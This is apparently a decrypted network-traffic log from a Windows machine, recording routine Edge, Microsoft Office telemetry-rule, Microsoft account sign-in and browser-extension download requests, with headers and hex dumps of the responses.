Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49787	94.245.104.56	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:29 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 16 Nov 2024 22:36:29 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223630Z-164f84587bfs5tz9hC1DFW9a3w00000003mg00000000177r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:30 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:30 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 998ee9d3-c01e-0046-120b-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223630Z-1866b5c5fbbkcpv2hC1DFWf1yc00000003k0000000005504 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:30 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 22e74508-c01e-00a1-69a2-347e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223630Z-1866b5c5fbbqmbqjhC1DFWwgvc000000030g0000000067v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:30 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223631Z-16547b76f7fm8pcwhC1DFWaxcc00000001dg00000000pgzq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223630Z-164f84587bfr8hdmhC1DFWt5nc00000001t0000000001q4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49792	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 22:36:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 22:36:31 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 22:35:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 7adf7b11-7ac8-4b14-b9e3-3a5eaa1ee461 PPServer: PPV: 30 H: PH1PEPF00011F89 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 22:36:31 GMT Connection: close Content-Length: 1276
2024-11-16 22:36:31 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223631Z-16547b76f7fgfpmjhC1DFWw6ec00000002wg000000009aaq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:32 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223632Z-164f84587bf28gjzhC1DFW35kg00000003eg000000002t7f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223632Z-1866b5c5fbb2t6txhC1DFWa2qc00000003g0000000004eh7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49806	172.217.18.1	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:32 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:32 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC6BqkIlHmKK_jc3AgzHFXfK0a5rXV-PbheFgVcSVLB6UXrgSLSh7NdNrfaB6I78yqupXiQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 16 Nov 2024 17:26:51 GMT Expires: Sun, 16 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 18581 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-16 22:36:32 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
